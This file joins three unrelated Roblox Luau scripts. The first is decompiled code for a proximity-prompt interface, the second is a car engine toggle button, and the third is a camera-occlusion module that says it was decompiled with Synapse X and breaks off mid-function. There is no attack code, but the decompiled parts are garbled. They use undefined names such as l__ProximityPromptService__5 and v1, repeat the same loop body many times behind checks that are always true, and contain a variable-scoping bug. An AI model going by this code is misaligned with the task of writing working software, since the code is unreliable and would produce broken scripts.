local v7 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetPlatform"));
local v8 = script:FindFirstAncestor("MainUI");
if v7() == "mobile" then
v8.MainFrame:WaitForChild("MobileButtons").Visible = true;
end;
local l__PromptFrame__1 = v8:WaitForChild("MainFrame"):WaitForChild("PromptFrame");
local u2 = require(script:WaitForChild("MouseIcons"));
local u3 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("ButtonIcons"));
local l__InteractButton__4 = v8.MainFrame:WaitForChild("MobileButtons"):WaitForChild("InteractButton");
local u5 = require(script:WaitForChild("Hint"));
local l__TweenService__6 = game:GetService("TweenService");
local u7 = nil;
local u8 = tick();
local l__Highlight__9 = script:WaitForChild("Highlight");
local u10 = Vector3.new(0, 0, 0);
local u11 = nil;
function update(p1, p2)
task.spawn(function()
if game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Health == 0 then
return
end
l__PromptFrame__1.Title.Text = p1.ObjectText;
l__PromptFrame__1.Desc.Text = p1.ActionText;
l__PromptFrame__1.Key.Text = p1.KeyboardKeyCode.Name;
l__PromptFrame__1.Bar.Bar.Size = UDim2.new(0, 0, 1, 0);
l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true);
l__PromptFrame__1.CenterImage.Image = u2.getIcon(p1.ActionText);
if p1.ActionText == "Collect" then
task.delay(0.2, function()
p1:InputHoldBegin();
end);
end;
local v9 = UDim.new(0.925, 0);
if v7() ~= "pc" then
l__PromptFrame__1.Key.Visible = false;
l__PromptFrame__1.UIScale.Scale = 1.5;
if v7() == "console" then
l__PromptFrame__1.KeyXbox.Image = u3[p1.GamepadKeyCode.Name];
l__PromptFrame__1.KeyXbox.Visible = true;
elseif v7() == "mobile" then
l__PromptFrame__1.KeyXbox.Visible = false;
end;
else
l__PromptFrame__1.Key.Visible = true;
l__PromptFrame__1.KeyXbox.Visible = false;
end;
l__InteractButton__4.Icon.Image = l__PromptFrame__1.CenterImage.Image;
if p1.ObjectText == "Hint" then
local v10 = UDim.new(0.85, 0);
l__PromptFrame__1.Key.Text = u5[p1.ActionText];
l__PromptFrame__1.CenterImage.Image = u2.getIcon(p1.ObjectText);
end;
local v11 = {
BackgroundColor3 = Color3.fromRGB(0, 0, 0)
};
if p2 == true then
l__PromptFrame__1.BackgroundColor3 = Color3.new(0.776471, 0.729412, 0.376471);
l__TweenService__6:Create(l__PromptFrame__1, TweenInfo.new(0.15, Enum.EasingStyle.Quart, Enum.EasingDirection.In), v11):Play();
else
l__PromptFrame__1.BackgroundColor3 = Color3.new(0.337255, 0.423529, 0.533333);
l__TweenService__6:Create(l__PromptFrame__1, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.In), v11):Play();
end;
if 0 < p1.HoldDuration then
l__PromptFrame__1.Bar.Visible = true;
else
l__PromptFrame__1.Bar.Visible = false;
end;
script.Holding:Stop();
local l__CurrentCamera__12 = workspace.CurrentCamera;
local v13 = l__CurrentCamera__12.CFrame.Position;
local v21
local v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0));
local l__Parent__14 = p1.Parent;
local v15 = false;
u8 = tick();
if l__Parent__14 then
if not l__Parent__14:IsA("BasePart") then
if l__Parent__14:IsA("Model") then
v13 = l__Parent__14:GetPivot().Position;
v15 = true;
elseif l__Parent__14:IsA("Attachment") then
v13 = l__Parent__14.WorldPosition;
end;
else
v13 = l__Parent__14:GetPivot().Position;
v15 = true;
end;
l__Highlight__9.Adornee = l__Parent__14;
l__Highlight__9.Enabled = true;
l__PromptFrame__1.Visible = true;
l__PromptFrame__1.Position = UDim2.new(0.5, 0, 2, 0);
local v16 = u10;
if v16 then
if 7 <= (v16 - v13).Magnitude then
v16 = nil;
elseif v16 then
end;
end;
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 0.9,
OutlineTransparency = 0
}):Play();
local v17 = nil;
local v18 = nil;
if v7() == "mobile" then
l__InteractButton__4.Visible = true;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 0.35
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 0
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 0
}):Play();
v17 = l__InteractButton__4.InputBegan:Connect(function()
p1:InputHoldBegin();
end);
v18 = l__InteractButton__4.InputEnded:Connect(function()
p1:InputHoldEnd();
end);
end;
local v19 = tick();
local v20 = 1 - 1;
if not l__Parent__14:IsA("BasePart") then
if not l__Parent__14:IsA("Model") then
if l__Parent__14:IsA("Attachment") then
while true do
if p1 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 == u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if l__PromptFrame__1.Visible then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if v15 then
v21 = l__Parent__14:GetPivot().Position;
else
v21 = l__Parent__14.WorldPosition;
end;
if v16 then
if v16 ~= nil then
v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out));
end;
end;
u10 = v13;
l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80));
l__Highlight__9.Adornee = l__Parent__14;
l__Highlight__9.Enabled = true;
task.wait();
if 0 <= 1 then
if v20 < 100000000 then
else
break;
end;
elseif 100000000 < v20 then
else
break;
end;
v20 = v20 + 1;
end;
end;
else
v19 = tick();
v20 = 1 - 1;
while true do
if p1 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 == u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if l__PromptFrame__1.Visible then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if v15 then
v21 = l__Parent__14:GetPivot().Position;
else
v21 = l__Parent__14.WorldPosition;
end;
if v16 then
if v16 ~= nil then
v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out));
end;
end;
u10 = v13;
v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0));
l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80));
l__Highlight__9.Adornee = l__Parent__14;
l__Highlight__9.Enabled = true;
task.wait();
if 0 <= 1 then
if v20 < 100000000 then
else
break;
end;
elseif 100000000 < v20 then
else
break;
end;
v20 = v20 + 1;
end;
end;
else
v19 = tick();
v20 = 1 - 1;
while true do
if p1 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 == u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if u7 then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if l__PromptFrame__1.Visible then
else
pcall(function()
if v17 then
if v18 then
v17:Disconnect();
v18:Disconnect();
end;
end;
end);
if u7 == nil then
l__TweenService__6:Create(l__Highlight__9, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
FillTransparency = 1,
OutlineTransparency = 1
}):Play();
task.wait(0.2);
if u7 == nil then
if u8 == u8 then
l__Highlight__9.Adornee = nil;
l__Highlight__9.Enabled = false;
l__PromptFrame__1.Visible = false;
l__TweenService__6:Create(l__InteractButton__4, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.UIStroke, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Transparency = 1
}):Play();
l__TweenService__6:Create(l__InteractButton__4.Icon, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
elseif l__PromptFrame__1.Visible then
u11 = v13;
end;
break;
end;
if v15 then
v21 = l__Parent__14:GetPivot().Position;
else
v21 = l__Parent__14.WorldPosition;
end;
if v16 then
if v16 ~= nil then
v21 = v16:Lerp(v21, l__TweenService__6:GetValue((tick() - v19) * 4, Enum.EasingStyle.Quart, Enum.EasingDirection.Out));
end;
end;
u10 = v13;
v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0));
l__PromptFrame__1.Position = UDim2.new(0, math.clamp(v22.X, 80, v8.AbsoluteSize.X - 80), 0, math.clamp(v22.Y, 80, v8.AbsoluteSize.Y - 80));
l__Highlight__9.Adornee = l__Parent__14;
l__Highlight__9.Enabled = true;
task.wait();
if 0 <= 1 then
if v20 < 100000000 then
else
break;
end;
elseif 100000000 < v20 then
else
break;
end;
v20 = v20 + 1;
end;
end;
end;
end);
end;
local u12 = 0;
l__ProximityPromptService__5.PromptShown:Connect(function(p3)
if p3.ObjectText ~= "Hint" then
u7 = p3.Changed:Connect(function()
update(p3);
end);
u12 = u12 + 1;
update(p3);
script.Notification:Play();
end;
end);
l__ProximityPromptService__5.PromptHidden:Connect(function(p4)
if p4.ObjectText ~= "Hint" then
l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true);
l__PromptFrame__1.Visible = false;
pcall(function()
u7:Disconnect();
end);
u7 = nil;
u12 = u12 - 1;
end;
end);
l__ProximityPromptService__5.PromptTriggered:Connect(function(p5)
if p5.ObjectText ~= "Hint" then
update(p5, true);
v1.camShaker:ShakeOnce(1, 1, 0.2, 0.7, Vector3.new(0, 0, 0));
l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true);
script.Triggered:Play();
script.Holding:Stop();
l__PromptFrame__1.CenterImage.Position = UDim2.new(0.5, 0, 0.52, 0);
l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
Position = UDim2.new(0.5, 0, 0.5, 0),
ImageTransparency = 0
}):Play();
end;
end);
l__ProximityPromptService__5.PromptButtonHoldBegan:Connect(function(p6)
if p6.ObjectText ~= "Hint" then
update(p6);
l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(1, 0, 1, 0), "In", "Sine", p6.HoldDuration, true);
script.Holding:Play();
l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
Position = UDim2.new(0.5, 0, 0.52, 0),
ImageTransparency = 0
}):Play();
end;
end);
l__ProximityPromptService__5.PromptButtonHoldEnded:Connect(function(p7)
if p7.ObjectText ~= "Hint" then
update(p7);
script.Holding:Stop();
l__TweenService__6:Create(l__PromptFrame__1.CenterImage, TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
Position = UDim2.new(0.5, 0, 0.5, 0),
ImageTransparency = 0
}):Play();
end;
end);
|
-- Variables (best not to touch these!) |
local button = script.Parent .Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local sound = script.Parent.Parent.Start
local st = script.Parent.Parent.Stall
st.Parent = car.DriveSeat
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play() -- Startup sound plays..
wait(0.85) -- I don't know what to put for this
script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
button.Text = "Engine: On" -- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
st:play()
script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__Players__1 = game:GetService("Players");
local u1 = Vector3.new(0, 0, 0);
local v2 = require(script.Parent:WaitForChild("BaseOcclusion"));
local v3 = setmetatable({}, v2);
v3.__index = v3;
local u2 = {
LIMBS = 2,
MOVEMENT = 3,
CORNERS = 4,
CIRCLE1 = 5,
CIRCLE2 = 6,
LIMBMOVE = 7,
SMART_CIRCLE = 8,
CHAR_OUTLINE = 9
};
function v3.new()
local v4 = setmetatable(v2.new(), v3);
v4.char = nil;
v4.humanoidRootPart = nil;
v4.torsoPart = nil;
v4.headPart = nil;
v4.childAddedConn = nil;
v4.childRemovedConn = nil;
v4.behaviors = {};
v4.behaviors[u2.LIMBS] = v4.LimbBehavior;
v4.behaviors[u2.MOVEMENT] = v4.MoveBehavior;
v4.behaviors[u2.CORNERS] = v4.CornerBehavior;
v4.behaviors[u2.CIRCLE1] = v4.CircleBehavior;
v4.behaviors[u2.CIRCLE2] = v4.CircleBehavior;
v4.behaviors[u2.LIMBMOVE] = v4.LimbMoveBehavior;
v4.behaviors[u2.SMART_CIRCLE] = v4.SmartCircleBehavior;
v4.behaviors[u2.CHAR_OUTLINE] = v4.CharacterOutlineBehavior;
v4.mode = u2.SMART_CIRCLE;
v4.behaviorFunction = v4.SmartCircleBehavior;
v4.savedHits = {};
v4.trackedLimbs = {};
v4.camera = game.Workspace.CurrentCamera;
v4.enabled = false;
return v4;
end;
function v3.Enable(p1, p2)
p1.enabled = p2;
if not p2 then
p1:Cleanup();
end;
end;
function v3.GetOcclusionMode(p3)
return Enum.DevCameraOcclusionMode.Invisicam;
end;
function v3.LimbBehavior(p4, p5)
for v5, v6 in pairs(p4.trackedLimbs) do
p5[#p5 + 1] = v5.Position;
end;
end;
function v3.MoveBehavior(p6, p7)
for v7 = 1, 3 do
local l__Velocity__8 = p6.humanoidRootPart.Velocity;
p7[#p7 + 1] = p6.humanoidRootPart.Position + (v7 - 1) * p6.humanoidRootPart.CFrame.lookVector * (Vector3.new(l__Velocity__8.X, 0, l__Velocity__8.Z).Magnitude / 2);
end;
end;
local u3 = { Vector3.new(1, 1, -1), Vector3.new(1, -1, -1), Vector3.new(-1, -1, -1), Vector3.new(-1, 1, -1) };
function v3.CornerBehavior(p8, p9)
local l__CFrame__9 = p8.humanoidRootPart.CFrame;
local l__Position__10 = l__CFrame__9.Position;
local v11 = l__CFrame__9 - l__Position__10;
local v12 = p8.char:GetExtentsSize() / 2;
p9[#p9 + 1] = l__Position__10;
for v13 = 1, #u3 do
p9[#p9 + 1] = l__Position__10 + v11 * (v12 * u3[v13]);
end;
end;
function v3.CircleBehavior(p10, p11)
if p10.mode == u2.CIRCLE1 then
local v14 = p10.humanoidRootPart.CFrame;
else
local l__CoordinateFrame__15 = p10.camera.CoordinateFrame;
v14 = l__CoordinateFrame__15 - l__CoordinateFrame__15.Position + p10.humanoidRootPart.Position;
end;
p11[#p11 + 1] = v14.Position;
for v16 = 0, 9 do
local v17 = 2 * math.pi / 10 * v16;
p11[#p11 + 1] = v14 * (3 * Vector3.new(math.cos(v17), math.sin(v17), 0));
end;
end;
function v3.LimbMoveBehavior(p12, p13)
p12:LimbBehavior(p13);
p12:MoveBehavior(p13);
end;
function v3.CharacterOutlineBehavior(p14, p15)
local l__unit__18 = p14.torsoPart.CFrame.upVector.unit;
local l__unit__19 = p14.torsoPart.CFrame.rightVector.unit;
p15[#p15 + 1] = p14.torsoPart.CFrame.p;
p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__18;
p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__18;
p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__19;
p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__19;
if p14.headPart then
p15[#p15 + 1] = p14.headPart.CFrame.p;
end;
local v20 = CFrame.new(u1, Vector3.new(p14.camera.CoordinateFrame.lookVector.X, 0, p14.camera.CoordinateFrame.lookVector.Z));
local v21 = p14.torsoPart and p14.torsoPart.Position or p14.humanoidRootPart.Position;
local v22 = { p14.torsoPart };
if p14.headPart then
v22[#v22 + 1] = p14.headPart;
end;
for v23 = 1, 24 do
local v24 = 2 * math.pi * v23 / 24;
local v25 = v20 * (3 * Vector3.new(math.cos(v24), math.sin(v24), 0));
local v26 = Vector3.new(v25.X, math.max(v25.Y, -2.25), v25.Z);
local v27, v28 = game.Workspace:FindPartOnRayWithWhitelist(Ray.new(v21 + v26, -3 * v26), v22, false);
if v27 then
p15[#p15 + 1] = v28 + 0.2 * (v21 - v28).unit;
end;
end;
end;
local u4 = 2 * math.pi / 24;
local function u5(p16, p17, p18, p19)
local v29 = p17:Cross(p19);
local v30 = p18.X - p16.X;
local v31 = p18.Y - p16.Y;
local v32 = p18.Z - p16.Z;
local l__Y__33 = p17.Y;
local v34 = -p19.Y;
local l__Y__35 = v29.Y;
local l__Z__36 = p17.Z;
local v37 = -p19.Z;
local l__Z__38 = v29.Z;
local v39 = p17.X * (v34 * l__Z__38 - l__Y__35 * v37) - -p19.X * (l__Y__33 * l__Z__38 - l__Y__35 * l__Z__36) + v29.X * (l__Y__33 * v37 - v34 * l__Z__36);
if v39 == 0 then
return u1;
end;
local v40 = -p19.Y;
local l__Y__41 = v29.Y;
local v42 = -p19.Z;
local l__Z__43 = v29.Z;
local l__Y__44 = p17.Y;
local l__Y__45 = v29.Y;
local l__Z__46 = p17.Z;
local l__Z__47 = v29.Z;
local v48 = p16 + (v30 * (v40 * l__Z__43 - l__Y__41 * v42) - -p19.X * (v31 * l__Z__43 - l__Y__41 * v32) + v29.X * (v31 * v42 - v40 * v32)) / v39 * p17;
local v49 = p18 + (p17.X * (v31 * l__Z__47 - l__Y__45 * v32) - v30 * (l__Y__44 * l__Z__47 - l__Y__45 * l__Z__46) + v29.X * (l__Y__44 * v32 - v31 * l__Z__46)) / v39 * p19;
if (v49 - v48).Magnitude < 0.25 then
return v48 + 0.5 * (v49 - v48);
end;
return u1;
end;
function v3.SmartCircleBehavior(p20, p21)
local l__unit__50 = p20.torsoPart.CFrame.upVector.unit;
local l__unit__51 = p20.torsoPart.CFrame.rightVector.unit;
p21[#p21 + 1] = p20.torsoPart.CFrame.p;
